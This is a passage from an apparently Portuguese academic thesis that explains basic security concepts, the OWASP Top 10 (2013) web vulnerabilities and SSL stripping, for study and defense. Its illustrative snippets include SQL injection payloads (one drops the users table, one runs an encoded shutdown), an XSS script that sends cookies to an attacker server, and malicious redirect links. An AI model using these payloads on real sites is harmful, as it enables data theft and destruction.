Security Project (OWASP). Na sequncia so abordados conceitos bsicos de segurana e as
principais vulnerabilidades Web segundo a OWASP Top 10, explicando e exemplicando cada
vulnerabilidade. Tambm especicado um tipo de ataque contra aplicaes Web que usam
conexes HTTPS o SSL Stripping. Apresenta-se ao nal a descrio de algumas ferramentas
utilizadas no presente estudo.
2.1 OPEN WEB APPLICATION SECURITY PROJECT (OWASP)
A OWASP uma fundao aberta sem ns lucrativos dedicada a capacitar empresas e
organizaes a desenvolver aplicaes conveis, seu foco principal so aplicaes Web. Ela
rene informaes que permitem avaliar os risco de segurana das aplicaes Web e comba-
ter assim formas de ataques a segurana atravs da Internet. Os documentos produzidos pela
OWASP so disponibilizados a toda comunidade internacional gratuitamente e so utilizados
como ponto de referncia por diversas entidades e organizaes na rea de tecnologia e segu-
rana como U.S. Defense Information Systems Agency (DISA), U.S. Federal Trade Commission
e PCI Council (OWASP, 2013a).
O trabalho mais divulgado da OWASP o The Top 10 Most Critical Web Application
Security Risks OWASP Top 10, que agrupa os maiores os riscos de ataques crticos a partir
de vulnerabilidades em aplicaes Web, com atualizaes peridicas, com ltima publicao
em 2013 (TEN, 2013). Os riscos de ataques do Top Ten so descritos na seo 2.3. O Top Ten
atualizado utilizando dados de pesquisas e estatsticas sobre os principais ataques ocorridos
pelo mundo. A metodologia utilizada pela OWASP se baseia na classicao de risco (Risk
Rating Methodology), de ataques deferidos pelo mundo inteiro.
Alm de identicar os principais riscos de ataques a OWASP faz recomendaes
quanto ao desenvolvimento seguro de aplicaes como por exemplo mtodos de codicao
segura baseadas na modelagem de risco (Threat Risk Modeling), desde o incio do desenvolvi-
8
mento das aplicaes Web at sua implantao, economizando o tempo e o dinheiro das orga-
nizaes com manutenes futuras oriundas de falhas de segurana (OWASP, 2013a).
2.2 CONCEITOS DE SEGURANA
O modelo de segurana Open Systems Interconnection - OSI
1
(MILLER, 1981) pa-
droniza as normas de segurana e oferece uma sistemtica para denir conceitos de segurana
como: ataques a segurana, servios de segurana e mecanismos de segurana.
Os ataques a segurana podem ser classicados em dois tipos, ataque passivo e o ata-
que ativo. O ataque passivo possui a natureza de bisbilhotar ou monitorar as transmisses para
obter as informaes contidas na mesma, podem ser categorizados em dois tipos: a anlise do
contedo da mensagem e anlise de trfego. O ataque ativo envolve a modicao do uxo de
dados ou a criao de um uxo de dados falso, e podem ser subdivididos em quatro categorias:
o masquerade (disfarce), quando uma entidade nge ser outra, o replay (repetio), que en-
volve a captura passiva de dados para retransmisso no autorizada, a modication of messages
(modicao da mensagem original), e por ltimo denial of service (negao de servio) que
impede acesso normal aos servios alvos.
Servios de segurana segundo a recomendao de segurana X.800 da ITU-T
2
, e
denido como um servio fornecido por uma camada de protocolo de comunicao de sistemas
abertos que garante a segurana adequada dos sistemas. A RFC-2828 (SHIREY, 2000) dene
um servio de segurana como um servio de comunicao ou processamento que fornecido
por um sistema para prover um tipo especco de proteo aos recursos de um sistema.
A X.800 divide os servios em cinco categorias:
Autenticao a garantia de que a entidade que est se comunicando aquela que ela
arma ser.
Controle de acesso o impedimento de uso no autorizado de um recurso, ou seja, esse
servio controla quem pode ter acesso a um recurso.
Condencialidade dos dados a proteo dos dados contra divulgao no autorizada, ou
seja, somente quem tem permisso deve acessar os dados.
1
A arquitetura de segurana OSI foi desenvolvida no contexto da arquitetura do protocolo OSI
2
International Telecommunication Uniom (ITU) Telecommication Standardization Sector (ITU-T) uma agn-
cia patrocinada pelas Naes Unidas que desenvolve padres, chamado de recomendaes, relacionados a tele-
comunicaes e Open Systems Interconnection (OSI)
9
Integridade de dados a garantia que um uxo de mensagens seja recebido conforme
enviado, sem duplicao, insero, modicao, reordenao ou repetio.
Irretratabilidade ou no repdio, dos dados impede que o receptor ou o emissor negue a
mensagem transmitida.
A recomendao X.800 dene uma lista de mecanismos de segurana que so dividi-
dos e implementados em camadas especcas dos protocolos ou nos servios de protocolos em
particular. Os mecanismos so divididos em mecanismos de segurana especcos e mecanis-
mos de segurana pervasivos. Os mecanismos de segurana especcos podem ser incorporados
camada de protocolo apropriada a m de oferecer alguns servios de segurana OSI, so: a
Cifragem de Dados, a Assinatura Digital, o Controle de Acesso, a Integridade de Dados, A
troca de Informaes de Autenticao, O Preenchimento de Trfego, o Controle de Roteamento
e a Certicao Digital.
Os mecanismos de segurana pervasivos so aqueles que no so especcos para qual-
quer servio de segurana OSI ou camada de protocolo especca so: a Funcionalidade Con-
vel, o Rtulo de Segurana, a Deteco de Evento, os Registros de Auditoria e Segurana e
por ltimo a Recuperao da Segurana.
2.3 PRINCIPAIS VULNERABILIDADES WEB
Nesta seo so abordadas as principais vulnerabilidades Web segundo o The Top
10 Most Critical Web Application Security Risks "Top 10 2013". As vulnerabilidades so
descritas e ilustradas por exemplos de cdigos e ilustraes de cenrios e problemas abordados
neste trabalho.
2.3.1 INJEO DE SQL
Oataque via injeo de SQL do ingls SQL injection, umataque realizado quando um
cdigo SQL inserido ou concatenado aos parmetros de entrada fornecidos pelo usurio e pos-
teriormente o cdigo encaminhado ao banco de dados que o interpreta e executa (CLARKE,
2009). Qualquer estrutura que trabalhe com o SQL pode ser alvo para ataques de injeo de
SQL, e como esse um ataque direto a base de dados ele se torna um dos mais perigosos tipos
de invaso, pois pode revelar todas as informaes contidas no banco de dados invadido.
Halfond et al. (2006) descreve vrios tipos de injeo SQL:
10
Tautologia (Tautology) - Esse tipo de ataque injeta sentenas SQL para a consulta con-
dicional, a sentena a ser avaliada sempre verdade. No exemplo do Quadro 1, 1 = 1
sempre verdade e se o aplicativo no valida a entrada do usurio corretamente, ento
todos os registros da base de dados sero obtidos com a injeo deste cdigo.
SELECT a c c ount s FROM u s e r s WHERE l o g i n = OR
1=1 AND pa s s =
Quadro 1: Exemplo Tautologia.
Consultas Ilegais/Logicamente Incorretas (Illegal/Logically Incorrect Queries) - O ob-
jetivo deste ataque entender as propriedades da base de dados. Quando esse tipo de
consulta executada, o sistema gerenciador de banco de dados (SGBD) retorna uma men-
sagem de erro. A anlise do erro pelo atacante pode permitir a identicao do SGBD,
como por exemplo tipo, verso entre outras informaes. O Quadro 2 exemplica a con-
sulta.
SELECT a c c ount s FROM u s e r s WHERE l o g i n = AND
pa s s = AND pi n= c o n v e r t ( i nt , ( s e l e c t t op 1 name from
s y s o b j e c t s where xt ype = u ) )
Quadro 2: Exemplo de Consulta Ilegal.
Unio de consultas (Union Query) - Esse ataque usa o operador UNION que realiza unies
entre duas ou mais consultas, o Quadro 3 retrata um exemplo de consulta utilizando o
operador UNION.
SELECT a c c ount s FROM u s e r s WHERE l o g i n = UNION
SELECT cardNo from Cr e di t Ca r ds where
acct No =10032 AND pa s s = AND pi n=
Quadro 3: Exemplo de Consulta utilizando o operador Union.
Consulta extra (Piggy-Backed Queries) - Nesse tipo de ataque, o atacante acrescenta uma
consulta extra consulta original, como segue exemplo do Quadro 4.
SELECT a c c ount s FROM u s e r s WHERE l o g i n = doe AND
pa s s = ; dr op t a b l e u s e r s AND pi n =123
Quadro 4: Exemplo de Consulta Extra.
11
Procedimentos Armazenados (Stored Procedures) - Um procedimento um grupo de
instrues transacionais armazenados em um nico plano de execuo. A exemplo pro-
cedimento armazenado dado no Quadro 5.
CREATE PROCEDURE a u t h e n t i c a t e Us e r ( IN user name VARCHAR
( 1 6 ) , IN passwor d VARCHAR ( 3 2 ) )
BEGIN
SELECT FROM members WHERE member_username=user name
AND member_password=passwor d ;
END
Quadro 5: Exemplo de procedure armazenada.
Dependo do tipo de consultas armazenadas como procedures as mesmas podem ser vul-
nerveis a vrios tipos de injeo. No cdigo exemplo o procedimento armazenado
vulnervel a ataques do tipo piggybacked queries e tautologies.
Inferncia (Inference) - Neste tipo de ataque, o atacante observa o comportamento na
aplicao Web baseado em uma srie de consultas verdadeiro/falso com intervalos de
tempos destintos entre cada consulta. Por cuidadosa observao do comportamento da
aplicao o atacante identica os parmetros vulnerveis. Estes ataques so compostos
de dois tipos: blind injection e timing attacks, no primeiro o atacante formula questes
que tenham como resultado verdadeiro/falso ao SGBD e na segunda o atacante rene
informaes de um SGBD atravs da observao no tempo de atraso nas respostas do
sistema SGBD alvo, o Quadro 6 exemplica a consulta utilizada nesta tcnica;
SELECT a c c ount s FROM u s e r s WHERE l o g i n = l e ga l Us e r
and 1=0 AND pa s s = AND pi n =0
SELECT a c c ount s FROM u s e r s WHERE l o g i n = l e ga l Us e r
and 1=1 AND pa s s = AND pi n =0
Quadro 6: Exemplo de consulta utilizando a tcnica de Inferncia
Codicaes Alternativas (Alternate Encodings) - Nesta tcnica, os invasores modicam
uma consulta injetando codicao alternativa, como hexadecimal, ASCII e Unicode.
Deste modo, podem evadir ltros de caracteres especiais de entrada conhecidos "bad
character", um exemplo deste tipo de consulta segue no Quadro 7.
SELECT a c c ount s FROM u s e r s WHERE l o g i n = l e ga l Us e r ;
exec ( c ha r ( 0 x73687574646f 776e ) ) AND pa s s = AND pi n=
Quadro 7: Exemplo de consulta utilizando Codicao Alternativa.
12
Cabe ressaltar que foram relatados os principais tipos de ataques de SQL injection.
Existem inmeras variantes de ataques que exploram vulnerabilidades especcas de cada sis-
tema gerenciador de banco de dados, para mais informaes consulte (CLARKE, 2009).
2.3.2 QUEBRA DE GERENCIAMENTO DE SESSO
Aquebra de gerenciamento de sesso do ingls Broken Authentication and Session Ma-
nagement, inclui todas as particularidades referentes a manipulao da autenticao dos usu-
rios e o gerenciamento de sesses na aplicao. Todo processo de autenticao de usurio pode
ser crtica (OWASP, 2013a).
A autenticao um aspecto crtico desse processo, mas os mecanismos de auten-
ticao mesmo slidos podem ser prejudicados por falhas em funes de gerenciamento de
credenciais, incluindo a alterao da senha, atualizaes de conta, e outras funes relaciona-
das. Segundo (HULUKA; POPOV, 2012), duas variantes desse tipo de vulnerabilidades so o
Hijacking Attacks e Session Fixation.
Hijacking Attacks (roubo de sesso) so baseados na interceptao de cookies no crip-
tografados. Cookies de autenticao geralmente so criados durante o processo de autenticao
do usurio. Depois de bem sucedida a validao das credenciais de autenticao do usurio,
a aplicao Web gera cookies de autenticao e os envia para o navegador. O navegador atri-
bui esses cookies a cada solicitao que requer autenticao. De uma maneira geral os cookies
de autenticao se tornam um substituto temporrio para credenciais de usurio e senha (DA-
COSTA et al., 2012).
Os cookies so estticos, eles no mudam durante sua existncia. Assim, se um ata-
cante rouba os cookies de autenticao, ser capaz de representar o usurio associado a esse
cookie. A Figura 1 mostra uma viso simplicada de um Hijacking Attack em uma rede sem
o. Aps a autenticao, a vtima usa um cookie de autenticao em cada solicitao para o
aplicativo da Web (passo 1). Como geralmente acontece, o cookie enviado desprotegido em
toda a rede e capturado por um atacante que utiliza escutas na comunicao (passo 2). Fi-
nalmente, o atacante pode usar o cookie de autenticao roubado para fazer pedidos arbitrrios
para a aplicao Web (passo 3), at que o cookie expire (DACOSTA et al., 2012).
13
Figura 1: Exemplo simplicado de Hijacking Attack
Fonte: (DACOSTA et al., 2012)
A Fixao de Sesso do ingls Session Fixation, ocorre muitas vezes quando os iden-
ticadores de sesso (IDs) no so apenas tokens de identicao, mas tambm so autentica-
dores. Isso signica que aps a autenticao, os usurios so reconhecidos com base em suas
credenciais (por exemplo, nomes de usurio/senhas ou certicados digitais) e os IDs de sesso
servem efetivamente como senhas estticas temporrias para acesso a aplicao. Essa aborda-
gem, no entanto, ignora a possibilidade de um intruso emitir um ID de sesso para o navegador
do usurio, forando o navegador a us-lo para a sesso escolhida. Isso ocorre quando um iden-
ticador de sesso usurio foi xado previamente em vez de ter sido gerado aleatoriamente no
momento da autenticao (KOLEK, 2002).
A Figura 2 ilustra uma demonstrao simples de xao de sesso utilizando IDs trans-
portados na prpria URL. O http://online.worldbank.dom Web Server hospeda um servio de
Web banking, os IDs de sesso so transportados a partir do navegador para o servidor por meio
de uma URL com o parmetro sessionid. Primeiramente, o atacante que, neste caso, tambm
um usurio legtimo do sistema se registra no servidor (1) e lhe emitido o session ID 1234
(2). O atacante, ento, envia a URL http://online.worldbank.dom/login.jsp?sessionid=1234
para a vtima que tambm utilizador do Web banking, tentando atrar a acess-lo (3). O
usurio (como conveniente para o nosso exemplo) acessa a URL, que exibe pgina de auten-
ticao do servidor no seu navegador (4). Nota-se que mediante recebimento do pedido de
login.jsp?sessionid=1234, a aplicao Web j tem estabelecido uma sesso para este usu-
14
rio e uma nova no precisa ser criada. Finalmente, o usurio fornece suas credenciais ao script
de autenticao (5) e o servidor concede-lhe o acesso a sua conta bancria. Contudo, neste
ponto, sabendo a identicao da sesso, o atacante tambm pode acessar a conta do usurio
via account.jsp?sessionid=1234 (6). Uma vez que a sesso j foi xada antes que a vtima
estivesse autenticada, ento se diz que vitima esta autenticada na sesso do atacante.
Figura 2: Exemplo simplicado de Session Fixation
Fonte: (KOLEK, 2002)
O exemplo descrito na Figura 2 o mais simples e menos perigoso dos ataques de
xao de sesso e tem muitas falhas (para o atacante), tais como: ele tem que ser um usurio
legtimo no servidor de destino e tem que enganar o usurio para se autenticar atravs da URL
pr denida pelo atacante. Porm, existem outras formas de xao de sesso como Session ID
in a hidden form eld que redireciona a vtima para um servidor Web falso para capturar suas
credenciais e xar uma sesso.
2.3.3 SCRIPTS ENTRE SITES
O ataque Scripts Entre Sites, do ingls Cross-Site Scripting (XSS), um tipo de ataque
de injeo que ocorre quando um atacante usa uma aplicao Web para enviar cdigo malicioso
ao navegador do usurio, que por sua vez o executa, dando assim acesso a dados do navegador
do cliente, como cookies de sesso do usurio. Ataques XSS podem ocorrer em qualquer lu-
gar da aplicao Web que exibe entradas de usurios como sadas na aplicao sem nenhuma
validao prvia dos dados de entrada (OWASP, 2013a).
15
Segundo a OWASP existem trs tipos de ataques XSS conhecidos: o persistente (sto-
red), o reetido (reected) e o baseado em DOM (Document Object Model) (DOM based). No
ataque XSS do tipo persistente, o atacante se usa de uma entrada na aplicao Web para arma-
zenar o cdigo malicioso no lado do servidor, como por exemplo nas publicaes de um blog.
Posteriormente devido o no tratamento de dados de sada da aplicao, qualquer usurio que
visualizar os posts, recuper o cdigo malicioso e sofrer o ataque XSS expondo assim todos os
dados contidos em seu navegador (VOGT et al., 2007). O exemplo de cdigo javascript no Qua-
dro 8 quando executado no navegador do cliente envia um cookie para um servidor controlado
pelo atacante.
Ol he e s s a f o t o !
<img s r c =" i mage . j pg ">
< s c r i p t >
document . i mages [ 0 ] . s r c = " h t t p : / / e v i l s e r v e r / i mage . j pg ? s t o l e n c o o k i e =" + document . cooki e ;
</ s c r i p t >
Quadro 8: Exemplo XSS persistente armazenado em um post
No ataque XSS do tipo reetido o cdigo malicioso no persistido na aplicao Web,
ao invs disso imediatamente reetido no navegador do usurio. O atacante ento atrai o
usurio para uma pgina Web maliciosa ou o induz a acessar um link enviado por email. Neste
momento o navegador do usurio executa o script malicioso e inicia uma requisio GET ou
POST passando parmetros escolhidos pelo atacante durante a execuo do cdigo como co-
okies de sesso e dados sensveis armazenados no navegador do usurio (PELIZZI; SEKAR,
2012). O cdigo do Quadro 9 ilustra um link malicioso enviado ao usurio.
h t t p : / / exampl e . com/ i ndex . php ? us e r =< s c r i p t >window . onl oad= f u n c t i o n ( )
{ var Al l Li nks =document . get El ement sByTagName ( " a " ) ; Al l Li nks [ 0 ] . h r e f =
" h t t p : / / badexampl e . com/ document . cooki e ; " } </ s c r i p t >
Quadro 9: Exemplo XSS Reetido.
O ataque XSS baseado em DOM um tipo de ataque que modica o ambiente DOM
do navegador do usurio explorando scripts existentes na aplicao Web, para se comportarem
de forma inesperada. Como consequncia a pgina Web no muda, mas o cdigo contido no
lado do cliente muda devido a alteraes no ambiente DOM da pgina se tornando malicioso
e executando aes diferentes do esperado (OWASP, 2013a). O cdigo do Quadro 10 retrata a
estrutura de uma pgina Web vulnervel ao ataque XSS baseado em DOM.
16
<ht ml >
<head >
</ head >
<body >
<h1>Se l e c i o n e s ua Li nguagem : </ h1>
< s e l e c t >
< s c r i p t >
document . wr i t e (" <OPTION va l ue =1>"+document . l o c a t i o n . h r e f . s u b s t r i n g (
document . l o c a t i o n . h r e f . i ndexOf ( " d e f a u l t =" ) +8) +" </ OPTION>" ) ;
document . wr i t e (" <OPTION va l ue =2>Engl i s h </ OPTION>" ) ;
</ s c r i p t >
</ s e l e c t >
</ body >
</ ht ml >
Quadro 10: Exemplo XSS Baseado em DOM.
Quando a pgina Web exibida a URL no navegador semelhante ao link 1 do Quadro
11. Um ataque baseado em DOM pode ser deferido enviando o link 2 do Quadro 11 ao usurio.
Ao acessar o link o navegador responde com a pgina que contm o cdigo javascript descrito.
O navegador ento cria um objeto DOM no qual o objeto document.location utiliza o cdigo
<script>alert(document.cookie)</script>. Nota-se que a resposta HTTP enviada do servidor
no contm carga do atacante, esta carga se manifesta no script do lado do cliente em tempo
de execuo. Quando um cdigo malicioso acessa o document.location que a varivel DOM,
o navegador nesse momento assume ento que o cdigo no malicioso e o executa (OWASP,
2013a)
1 h t t p : / / www. some . s i t e / page . ht ml ? d e f a u l t =Por t ugue s
2 h t t p : / / www. some . s i t e / page . ht ml ? d e f a u l t =< s c r i p t > a l e r t ( document . c ooki e ) </ s c r i p t >
Quadro 11: Exemplo de XSS Basedo em DOM.
2.3.4 REFERNCIA INSEGURA A OBJETO DIRETO
A Referncia Insegura a Objeto Direto, do ingls Insecure Direct Object Reference
ocorre quando se expe diretamente uma referncia para um objeto interno da aplicao, como
um arquivo de congurao ou uma chave que faz referencia direta ao de banco de dados. Sem
uma poltica correta de vericao de acesso, atacantes podem manipular referncias internas
da aplicao e acessar dados sensveis sem autorizao (TEN, 2013).
Quando se possvel identicar referncias especcas a objetos internos da aplica-
o como por exemplo ids de usurio, referncias a contedos privados refernciados por ids
17
especcos, atacantes podem controlar externamente tal referncia as manipulando. Um exem-
plo a manipulao de parmetros em uma URL, quando enviado um parmetro adulterado a
aplicao pode conceder acesso a dados no autorizados (HINRICHS et al., 2013).
O trecho de cdigo do Quadro 12 exemplica que o aplicativo usa dados no verica-
dos em uma chamada SQL que est acessando as informaes da conta de um usurio.
St r i n g quer y = "SELECT FROM a c c t s WHERE a c c ount = ? " ;
Pr e pa r e dSt a t e me nt ps t mt = c onne c t i on . p r e p a r e St a t e me n t ( quer y , . . . ) ;
ps t mt . s e t S t r i n g ( 1 , r e q u e s t . ge t Pa r a me t e r ( " a c c t " ) ) ;
Re s u l t Se t r e s u l t s = ps t mt . execut eQuer y ( ) ;
h t t p : / / exampl e . com/ app / a c c o u n t I n f o ? a c c t =not myacct
Quadro 12: Exemplo de Referncia Insegura a Objeto Direto.
O atacante pode modicar o parmetro acct em seu navegador para enviar qualquer
nmero de conta. Se o parmetro no for vericado, o atacante pode acessar qualquer conta de
usurio, em vez de apenas a conta do cliente pretendido (OWASP, 2013a).
2.3.5 CONFIGURAO INCORRETA DE SEGURANA
As vulnerabilidades decorrentes de Conguraes Incorretas de Segurana, do ingls
Security Misconguration, envolvem a falta de conguraes seguras implantadas aplicaes
Web, arcabouos, servidores de aplicao, servidores Web, e servidores de banco de dados.
Todas as conguraes devem ser denidas e mantidas com fortes regras de segurana. Todos
os componentes de software envolvidos devem ser mantidos atualizados incluindo at mesmo
todas as bibliotecas utilizadas pelo software (OWASP, 2013a).
Eshete et al. (2011) arma que os riscos da congurao incorreta de segurana vo
desde acesso no autorizado a alguns dados do sistema at funcionalidades que comprometam
um sistema completo. Isto ainda mais agravado pelo fato de um nico meio (host) ser usado
muitas vezes para hospedar vrias aplicaes Web em comum, por exemplo, um servidor Web
compartilhado. Adicionalmente, instncias inseguras de uma congurao podem ser multipli-
cados com riscos potenciais.
A seguir so descritos 2 cenrios de vulnerabilidades decorrentes de congurao in-
correta:
Cenrio 1: o console de administrao do servidor de aplicaes automaticamente ins-
talado e no removido e as contas padres no so alteradas. O atacante descobre as
18
pginas de administrao padro que esto no servidor, ento autentica-se no servidor
com senha padro e assume o controle.
Cenrio 2: a listagem de diretrios no est desabilitada em seu servidor. O atacante
pode listar os diretrios para encontrar qualquer arquivo. O atacante ento localiza e
acessa todas as classes Java compiladas, descompila usando ferramentas de engenharia
reversa para obter todo o cdigo personalizado. Podendo ento descobrir falhas no cdigo
possibilitando assim a explorao da aplicao Web (OWASP, 2013a).
2.3.6 EXPOSIO DE DADOS SENSVEIS
A Exposio de Dados Sensveis do ingls, Sensitive Data Exposure, corresponde to-
dos os dados privados passveis de interceptao. Dados armazenados, em trnsito e at mesmo
dados contidos nos navegadores dos clientes. Normalmente os atacantes atuam, roubando cha-
ves, fazendo ataques man-in-the-middle
3
, ou interceptando dados em texto simples fora do
servidor, durante o trnsito na rede, ou a partir do navegador do usurio (OWASP, 2013a).
Mesmo o uso de criptograa quando essa fraca pode comprometer os dados em trnsito e de-
cincias no navegador Web tambm so muito comuns e fceis de se detectar, mas so difceis
de explorar em larga escala (VIJAYARANI; TAMILARASI, 2011).
Figura 3: Exemplo de captura de dados na rede
A Figura 3 mostra a interceptao das credenciais do usurio no momento da autentica-
o por um dispositivo Android utilizando o programa Intercept-NG (ARES, 2013) conectado
3
O man-in-the-middle intercepta a comunicao entre dois sistemas. Por exemplo, numa transao HTTP o
alvo a ligao TCP entre o cliente e o servidor. Usando tcnicas diferentes, o atacante divide a ligao TCP
original em duas novas ligaes, uma entre o cliente e o atacante e o outro entre o atacante e o servidor. Assim que
a conexo TCP interceptada, o atacante atua como um proxy ao ser capaz de ler, inserir e modicar os dados na
comunicao interceptada.
19
a mesma rede. Os dados foram interceptados utilizando uma variao do ataque man in the
middle chamado SSL Stripping
4
.
2.3.7 FALTA DE CONTROLE EM NVEL DE ACESSO
Ataques que exploram a Falta de Controle em Nvel de Acesso, do ingls Missing
Function Level Access Control, envolvem uma srie de impactos na estrutura de controle de
acesso da aplicao. Dependendo de restries e privilgios da conta, o usurio acessa um
determinado nvel de funcionalidades da aplicao. Aps a solicitao de acesso, o aplicativo
envia um sinal de aprovao para o usurio. No entanto, no caso de usurios no conveis,
funes administrativas tornam-se alvos de acessos no autorizados (KOSHUTANSKI; MAS-
SACCI, 2008).
Um atacante autenticado com nvel de acesso limitado pode simplesmente forar a
navegao para URLs restritas. As URLs a seguir exigem autenticao, logo direitos de ad-
ministrador tambm so necessrios para acesso pgina admin_getappInfo como descrito no
Quadro 13.
h t t p : / / exampl e . com/ app / g e t a p p I n f o
h t t p : / / exampl e . com/ app / admin \ _ge t a ppI nf o
Quadro 13: Exemplo de Falta de Controle em Nvel de Acesso.
Se um usurio no autenticado pode acessar qualquer pgina, isso uma falha. Se o
usurio tem permisso para acessar a pgina admin_getappInfo, isso tambm uma falha, e
pode levar um atacante para pginas de administrao protegidas de forma inadequada.
2.3.8 FALSIFICAO DE SOLICITAO ENTRE SITES
Falsicao de Solicitao entre Sites, do ingls Cross-Site Request Forgery (CSRF),
um tipo de ataque que engana a vtima direcionando-a para uma pgina Web com um contedo
malicioso. Durante o ataque CSRF, o atacante herda a identidade e os privilgios da vtima
por meio da pgina Web maliciosa, podendo assim executar uma ao indesejada em nome da
vtima, que pode ser desde um envio de email at uma compra online. Este tipo de ataque atua
principalmente em funes que mudam o estado do servidor Web, mas tambm pode ser usado
para acessar dados condenciais das vtimas.
4
Mais informaes sobre o ataque SSL Stripping podem ser vistas na seo 2.4.1
20
A maioria dos stios Web tem mecanismos que mantm o usurio autenticado usando o
seu navegador, como por exemplo, cookies de sesso, credenciais de autenticao bsica, ende-
reo IP. Portanto quando um usurio est autenticado em um stio o mesmo no tem como saber
se a solicitao foi feita por um usurio legtimo. Desta maneira ento, o atacante de posse de
dados que o autentiquem no site pode executar diversas aes indesejadas sem o conhecimento
prvio da vtima (OWASP, 2013a).
Segundo Barth et al. (2008) um ataque CSRF rompe a integridade da sesso do usurio
com um determinado stio, injetando requisies de rede atravs do navegador da vtima. Os
navegadores Web por meio de suas polticas de segurana permitem que stios Web enviem
solicitaes HTTP de qualquer endereo de rede. Por sua vez, essa poltica permite que o
atacante possa controlar o contedo processado pelo navegador em seu favor.
Figura 4: Exemplo de ataque Cross-Site Request Forgery (CSRF)
Fonte: (BARTH et al., 2008)
A Figura 4 ilustra um ataque CSRF onde a vtima ao acessar a pgina Web maliciosa
redirecionada ao stio Web www.google.com, fazendo que a vtima se autentique, o atacante
ento sequestra os cookies do usurio e se autentica no site se passando pelo usurio. Mais tarde
a vtima faz buscas e o atacante tem acesso a todo seu histrico de buscas.
21
2.3.9 USANDO COMPONENTES COM VULNERABILIDADES CONHECIDAS
O Uso de Componentes com Vulnerabilidades Conhecidas, do ingls Using Compo-
nents with Known Vulnerabilities, ocorre quando certos componentes das aplicaes Web, tais
como arcabouos, bibliotecas, URL especcas, funes de redirecionamento so vulnerveis.
O atacante pode usar desses componentes, para comprometer as aplicaes. Falhas relaciona-
das a componentes so muito difceis de identicar. Estas falhas existem em quase todas as
aplicaes online ou infraestrutura dos Websites. Em outras palavras, dado que uma biblioteca
ou arcabouo contm alguma falha em seu site, ele pode levar a ataques de injeo SSL, ata-
ques XSS, ataques remotos e outros ataques podem ser realizados. Em casos graves, um acesso
completo ao servidor Web (OWASP, 2013a).
O acesso a informaes sobre vulnerabilidades de software podem ser facilmente en-
contrados em repositrios de desenvolvimento de aplicaes de cdigo aberto. Essas vulne-
rabilidades ocorrem durante o ciclo de vida do produto e esto disseminadas por numerosos
repositrios de software. Alm disso, em grandes repositrios de software, uma nica vulne-
rabilidade pode se estender por vrios componentes e ter interaes multidimensionais com
outras vulnerabilidades. Assim, identicar os padres de ocorrncia de uma vulnerabilidade
no contexto de desenvolvimento de software continua a ser um problema em aberto (OWASP,
2013a).
Vulnerabilidades de componentes podem causar muitos tipos de riscos, desde riscos
triviais a cdigos maliciosos sosticados projetados para atingir uma organizao especca.
Componentes com falhas quase sempre podem comprometer por completo aplicaes inteiras.
Um exemplo ocorrido em 2011 com o Apache CXF Authentication Bypass ao no fornecer um
token de identidade, permitia aos atacantes invocar qualquer servio Web com permisso total
(WU et al., 2010).
2.3.10 ENCAMINHAMENTO E REDIRECIONAMENTOS INVALIDADOS
Os Encaminhamentos e Redirecionamentos Invalidados do Ingls, Unvalidated Redi-
rect & Forwards, acontecem quando a aplicao Web aceita entrada de dados no conveis,
que possam fazer que a aplicao seja redirecionada por uma solicitao HTTP modicada.
Quando o atacante modica a URL para um stio malicioso pode obter sucesso ao lanar um
ataque de phishing e roubar dados sensveis do usurio como login e senha. Como o nome
da URL tem uma aparncia convel ao do stio original as tentativas de phishing podem ter
sucesso (OWASP, 2013a). Os exemplos a seguir descrevem esse tipo de ataque:
22
Cenrio 1: A aplicao tem uma pgina chamada "redirect.jsp" que usa um nico
parmetro chamado "url". O atacante modica o parametro "url" com o endereo de um stio
malicioso que redireciona os usurios para o stio que realiza phishing e instala o malware
(OWASP, 2013a). O Quadro 14 exemplica o URL completa.
h t t p : / / www. exampl e . com/ r e d i r e c t . j s p ? u r l = e v i l . com
Quadro 14: Exemplo de Encaminhamento e Redirecionamentos Invalidados.
Cenrio 2: O aplicativo usa um redirecionamento para rotear solicitaes entre as dife-
rentes partes da aplicao. Para facilitar isso, algumas pginas usam um parmetro para indicar
onde o usurio deve ser enviado se uma transao bem sucedida. Neste caso, o atacante modi-
ca a URL que vai redirecionar o acesso do aplicativo, em seguida, efetua o redirecionamento
para a parte administrativa acessando assim a pgina no autorizada (TEN, 2013). O Quadro
15 exemplica o url completa.
h t t p : / / www. exampl e . com/ bor i ng . j s p ? fwd=admin . j s p
Quadro 15: Exemplo de Encaminhamento e Redirecionamentos Invalidados 2.
2.4 OUTROS TIPOS DE ATAQUES
Nesta seo so apresentados outros tipos de ataques no so abordados no OWASP
Top 10, inicialmente abordado o ataque man in the middle SSL Stripping que explora a auten-
ticao HTTPS, em seguida so descritos ataques a privacidade utilizando mtodos de varredura
de portas.
2.4.1 SSL STRIPPING
O SSL Stripping um tipo de ataque homem do meio, do ingls man in the middle
(MITM), onde o atacante personica cada uma das vtimas, para a vtima o atacante nge ser
o servidor e para o servidor o atacante nge ser a vtima. Essa variao MITM foi proposta na
Black-hat conference por Marlinspike (2009). O ataque explora o conceito simples da falta de
ateno do usurio considerando que a maioria dos deles no digitam explicitamente o endereo
seguro de uma pgina Web (HTTPS), mas sim contam com o navegador ou a uma pgina de
busca para redirecion-los para o destino. Isso abre a oportunidade para "retirar"(stripping) as
sesses de segurana dos usurios, ou seja, retira-se o HTTPS, dando a iluso de privacidade. A
gura 5 ilustra o uxo de conexo normal a esquerda e o uxo de ataque SSL stripping direita.
23
Figura 5: Exemplo de ataque SSL Stripping
Fonte: (SHIN; LOPES, 2011)
Especicamente, o ataque ocorre quando o atacante est na mesma rede em que a v-
tima. O atacante ento se utiliza do protocolo ARP
5
para convencer o vtima que sua mquina
o seu gateway de maneira que a vtima, sem saber, j est enviando todos os seus pedidos
HTTP para o atacante. O atacante analisa todas as solicitaes HTTP e executa uma das se-
guintes aes:
Caso 1: Se a resposta for um redirecionamento para um endereo HTTPS, o atacante
estabelecer e assegurar a ligao ao endereo conectando-se ao servidor de destino e
fornecendo o contedo decifrado para vtima, tirando (strip) o HTTPS em todas as formas
e as ligaes com a vtima.
Caso 2: Se a resposta uma pgina de contedo misto, ou seja uma pgina HTTP com
formas de conexo HTTPS, o atacante simplesmente retira o HTTPS forando uma co-
nexo HTTP.
Nesse contexto quando a vtima se conecta a um servio, o atacante receber a soli-
citao de autenticao e poder armazenar as credenciais da vtima bem como autenticar-se
em seu lugar no servidor Web fornecendo assim o contedo descriptografado (SHIN; LOPES,
2011).
5
Address Resolution Protocol (ARP) resolve os endereos IP utilizados por softwares que usam TCP/IP para
endereos de controle de acesso ao meio utilizados por hardware de redes locais (LAN) (TANENBAUM, 2003).
24
2.5 TECNOLOGIAS UTILIZADAS
Nesta seo so apresentadas ferramentas utilizadas para os testes de segurana das
